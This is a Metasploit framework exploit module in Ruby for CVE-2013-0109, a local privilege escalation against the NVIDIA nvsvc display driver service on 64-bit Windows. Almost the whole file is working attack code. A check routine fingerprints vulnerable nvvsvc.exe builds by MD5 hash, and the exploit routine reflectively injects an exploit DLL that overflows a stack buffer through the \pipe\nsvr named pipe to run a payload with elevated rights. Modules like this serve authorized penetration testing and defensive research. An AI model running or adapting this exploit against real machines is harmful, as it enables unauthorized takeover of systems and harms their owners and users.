##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = AverageRanking

  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::ReflectiveDLLInjection
  include Msf::Post::Windows::Services

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'Nvidia (nvsvc) Display Driver Service Local Privilege Escalation',
          'Description' => %q{
            The named pipe, \pipe\nsvr, has a NULL DACL allowing any authenticated user to
            interact with the service. It contains a stacked based buffer overflow as a result
            of a memmove operation. Note the slight spelling differences: the executable is 'nvvsvc.exe',
            the service name is 'nvsvc', and the named pipe is 'nsvr'.

            This exploit automatically targets nvvsvc.exe versions dated Nov 3 2011, Aug 30 2012, and Dec 1 2012.
            It has been tested on Windows 7 64-bit against nvvsvc.exe dated Dec 1 2012.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'Peter Wintersmith', # Original exploit
            'Ben Campbell', # Metasploit integration
          ],
          'Arch' => ARCH_X64,
          'Platform' => 'win',
          'SessionTypes' => [ 'meterpreter' ],
          'DefaultOptions' => {
            'EXITFUNC' => 'thread'
          },
          'Targets' => [
            [ 'Windows x64', {} ]
          ],
          'Payload' => {
            'Space' => 2048,
            'DisableNops' => true,
            'BadChars' => "\x00"
          },
          'References' => [
            [ 'CVE', '2013-0109' ],
            [ 'OSVDB', '88745' ],
            [ 'URL', 'http://nvidia.custhelp.com/app/answers/detail/a_id/3288' ],
          ],
          'DisclosureDate' => '2012-12-25',
          'DefaultTarget' => 0,
          'Compat' => {
            'Meterpreter' => {
              'Commands' => %w[
                stdapi_fs_md5
              ]
            }
          },
          'Notes' => {
            'Reliability' => UNKNOWN_RELIABILITY,
            'Stability' => UNKNOWN_STABILITY,
            'SideEffects' => UNKNOWN_SIDE_EFFECTS
          }
        }
      )
    )
  end

  def check
    vuln_hashes = [
      '43f91595049de14c4b61d1e76436164f',
      '3947ad5d03e6abcce037801162fdb90d',
      '3341d2c91989bc87c3c0baa97c27253b'
    ]

    if session.platform == 'windows'
      svc = service_info 'nvsvc'
      if svc && svc[:display] =~ (/NVIDIA/i)
        vprint_good("Found service '#{svc[:display]}'")

        begin
          if is_running?
            vprint_good('Service is running')
          else
            vprint_error('Service is not running!')
          end
        rescue RuntimeError
          vprint_error('Unable to retrieve service status')
          return Exploit::CheckCode::Unknown('Unable to determine target state')
        end

        path = svc[:path].gsub('"', '').strip
        if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
          path.gsub!('system32', 'sysnative')
        end

        begin
          hash = client.fs.file.md5(path).unpack('H*').first
        rescue Rex::Post::Meterpreter::RequestError => e
          print_error("Error checking file hash: #{e}")
          return Exploit::CheckCode::Detected("Unable to verify file hash: #{e}")
        end

        if vuln_hashes.include?(hash)
          vprint_good("Hash '#{hash}' is listed as vulnerable")
          return Exploit::CheckCode::Vulnerable('Target is vulnerable')
        else
          vprint_status("Hash '#{hash}' is not recorded as vulnerable")
          return Exploit::CheckCode::Detected('Target service detected')
        end
      else
        return Exploit::CheckCode::Safe('Target is not vulnerable')
      end
    end
  end

  def is_running?
    status = service_status('nvsvc')
    return (status and status[:state] == 4)
  rescue RuntimeError
    print_error('Unable to retrieve service status')
    return false
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    unless check == Exploit::CheckCode::Vulnerable
      fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
    end

    print_status('Launching a process to host the exploit and reflectively injecting and executing the exploit DLL...')

    # invoke the exploit, passing in the address of the payload that
    # we want invoked on successful exploitation.
    library_path = ::File.join(Msf::Config.data_directory,
                               'exploits',
                               'CVE-2013-0109',
                               'nvidia_nvsvc.x86.dll')
    encoded_payload = payload.encoded
    # Forceably run the a 32-bit process because our payload is 32-bit even though
    # we're running on x64.
    execute_dll(library_path, encoded_payload)

    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
  end
end
